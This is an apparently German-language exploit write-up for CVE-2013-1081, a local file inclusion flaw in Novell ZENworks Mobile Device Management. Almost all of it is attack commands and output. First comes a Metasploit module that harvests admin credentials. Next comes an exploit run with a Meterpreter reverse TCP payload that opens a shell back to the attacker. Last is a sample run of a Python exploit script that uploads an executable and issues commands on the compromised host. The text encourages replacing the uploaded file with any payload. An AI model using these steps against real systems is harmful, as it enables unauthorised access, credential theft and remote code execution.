CVE-2013-1081

Dieses Skript nutzt eine Local File Inclusion (LFI) aus, die in Novell zenworks mobile device management existiert.

Metasploit-Module -

msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options

Module options (auxiliary/scanner/http/novell_mdm_creds):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host

msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run

[] Verifying that Zenworks login page exists at 192.168.20.133 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [+] Got creds. Login:Admin1 Password:password1 [+] Access the admin interface here: 192.168.20.133:80/dashboard/ [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

msf > use exploit/windows/http/novell_mdm_lfi

msf exploit(novell_mdm_lfi) > show options

Module options (exploit/windows/http/novell_mdm_lfi):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOST 192.168.20.133 yes The target address RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.20.131 yes The listen address LPORT 4444 yes The listen port

msf exploit(novell_mdm_lfi) > exploit

[] Started reverse handler on 192.168.20.131:4444 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [] Setting up poisoned session [] Uploading payload [] Executing payload [] Sending stage (751104 bytes) to 192.168.20.133 [] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.133:4725) at 2013-06-04 09:39:20 -0700

meterpreter >

Python-Skript -

Die enthaltene cmd.exe stammt von win2k3 - die Ergebnisse können auf anderen Zielsystemen variieren. Die aktuelle 'shell' ist ziemlich hakelig, es sollte einfach genug sein, die hochgeladene ausführbare Datei durch das zu ersetzen, was auch immer gewünscht ist :)

Beispielausführung:

python sploit.py http://192.168.20.133
[] Session Poisoned, Retrieving Creds. [+] Credentials User: Admin1 Password: password1 [!] Log into the administrative interface at: http://192.168.20.133/dashboard/ [] Staging exe to run [*] Dropping to shell, type 'exit' to quit. #:net user user_agent|s:34:" User accounts for \STEPONEQ-1B78B2

---

Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.

";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2

";$error|s:12:"Login Failed";